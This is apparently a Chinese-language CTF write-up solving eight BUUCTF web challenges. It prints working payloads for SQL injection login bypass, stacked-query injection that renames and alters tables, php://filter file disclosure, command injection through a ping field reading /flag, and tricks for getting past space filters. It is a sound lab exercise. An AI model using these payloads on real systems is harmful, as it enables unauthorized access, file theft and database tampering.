Buuctf Web(1-8)

Buuctf Web(1-8)

1、EasySQL

万能密码

1’or’1’=’1

sql语句中#是注释符

select * from table_name where username=’1’ or 1=1 # ‘ and password=’xxxxxx’ ;

相当于

select * from table_name where username=’1’ or 1=1

image

image

1
flag{46247fc5-8cd1-4f68-9601-63d1ccd4d7dc}

2、Havefun

查看源码,看到一串被注释的php代码

image

有一个cat变量,通过get方式传参,如果cat=dog,输出flag

构造payload:/?cat=dog

image

1
flag{d6a6ed35-29e7-41db-9a46-170dcb0f9128}

3、WarmUp

查看源码,发现一个注释掉的source.php文件

image

访问php文件

image

文件中有一个hint.php

image

查看该文件

image

image

image

image

1
flag{65f5d7a9-2b2d-49b0-accf-52264323d465}

4、Include

查看页面源代码,发现有个flag.php文件

image

image

查看页面源代码发现啥也看不见,猜测包含文件漏洞

1
2
3
4
5
6
7
8
9
重要的知识点——PHP封装协议:
php://filter/read=convert.base64-encode/resource=xxx.php
php://filter 是php中独有的一个协议,可以作为一个中间流来处理其他流,可以进行任意文件的读取;根据名字filter,可以很容易想到这个协议可以用来过滤一些东西;使用不同的参数可以达到不同的目的和效果:
resource=<要过滤的数据流> 指定了你要筛选过滤的数据流。 必选
read=<读链的筛选列表>可以设定一个或多个过滤器名称,以管道符(|)分隔。 可选
write=<写链的筛选列表> 可以设定一个或多个过滤器名称,以管道符(|)分隔。 可选
<;两个链的筛选列表> 任何没有以 read= 或write=作前缀 的筛选器列表会视情况应用于读或写链。
php://filter与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,阻止其不执行。从而导致任意文件读取。
read=convert.base64-encode,用base64编码输出,不然会直接当做php代码执行,看不到源代码内容。

php://filter协议,用base64编码的方式来读文件flag.php;这时页面会显示出源文件flag.php经过base64编码后的内容,然后经过base64解码就可以看到flag

payload: /?file=php://filter/read=convert.base64-encode/resource=flag.php

得到base64编码

image

解码得到flag

image

1
flag{9c483c1a-9c62-41d3-abd8-51e64d50357f}

5、Exec

Linux ping 命令用于检测主机。执行 ping 指令会使用 ICMP 传输协议,发出要求回应的信息,若远端主机的网络功能没有问题,就会回应该信息,因而得知该主机运作正常

ls(英文全拼:list files):用于显示指定工作目录下的内容(列出目前工作目录所含之文件及子目录)

cat(英文全拼:concatenate):用于连接文件并打印到标准输出设备上

首先查看此文件的目录:127.0.0.1|ls

点击ping后发现有个index.php文件

image

再查看上级目录:127.0.0.1|ls /

点击ping后可以看到一个flag

image

查看flag:127.0.0.1|cat /flag

得到flag

image

1
flag{4504f6f2-191b-410b-b40d-18b4e403a271}

6、Ping Ping Ping

这一题与上一题Exec类似,首先访问本地地址,发现有显示

image

查看此文件的目录,发现有两个文件

image

查看flag.php文件

image

它说空格被过滤了

命令中空格被过滤的解决方法:

1
2
3
4
5
6
{cat,flag.txt}
cat${IFS}flag.txt
cat$IFS$9flag.txt: $IFS$9 $9指传过来的第9个参数
cat<flag.txt
cat<>flag.txt
kg=$'\x20flag.txt'&&cat$kg (\x20转换成字符串就是空格)

发现符号又被过滤了,说明{}大括号被过滤了

image

用另一个方法试下index.php文件

image

有一个参数a,变量拼接字符串——将a的值覆盖,然后进行绕过

构造payload:/?ip=127.0.0.1;a=g;cat$IFS$9fla$a.php

用变量拼接成flag

image

啥也没有,查看源代码,得到flag

image

1
flag{97aede41-9723-4901-8ac2-b345d66af44b}

7、随便注

image

image

查询3时没有显示,说明有两个字段

爆数据库:1’;show databases;#

image

爆表名:1’; show tables;#

出来了两个表

image

查看words表列名:1’; show columns from words;#

image

查看1919810931114514表列名:0’; show columns from 1919810931114514;#

注意:表名为数字时,要用反引号包起来查询

看到flag,说明表1919810931114514中有flag

image

查看大佬的方法

  • 通过 rename 先把 words 表改名为其他的表名。

  • 把 1919810931114514 表的名字改为 words 。

  • 给新 words 表添加新的列名 id 。

  • 将 flag 改名为 data

    1’; rename table words to word1; rename table 1919810931114514 to words;alter table words add id int unsigned not Null auto_increment primary key; alter table words change flag data varchar(100);#

    image

最后输入:1’ or 1=1;#

得到flag

image

1
flag{aa75e48d-8389-408e-9c8c-9d30c81c432b}

8、EasySQL

输入1,有显示

image

爆数据库:1;show databases;#

image

爆表:1;show tables;#

image

爆字段:1;show columns from FLAG;#

显示Nonono

image

查看大佬博客后,构造payload:*,1

参考博客([BUUCTF-SUCTF 2019]EasySQL1__Monica_的博客-CSDN博客

得到flag

image

1
flag{7c0c6069-c1fe-4314-b793-9a214f11fdb3}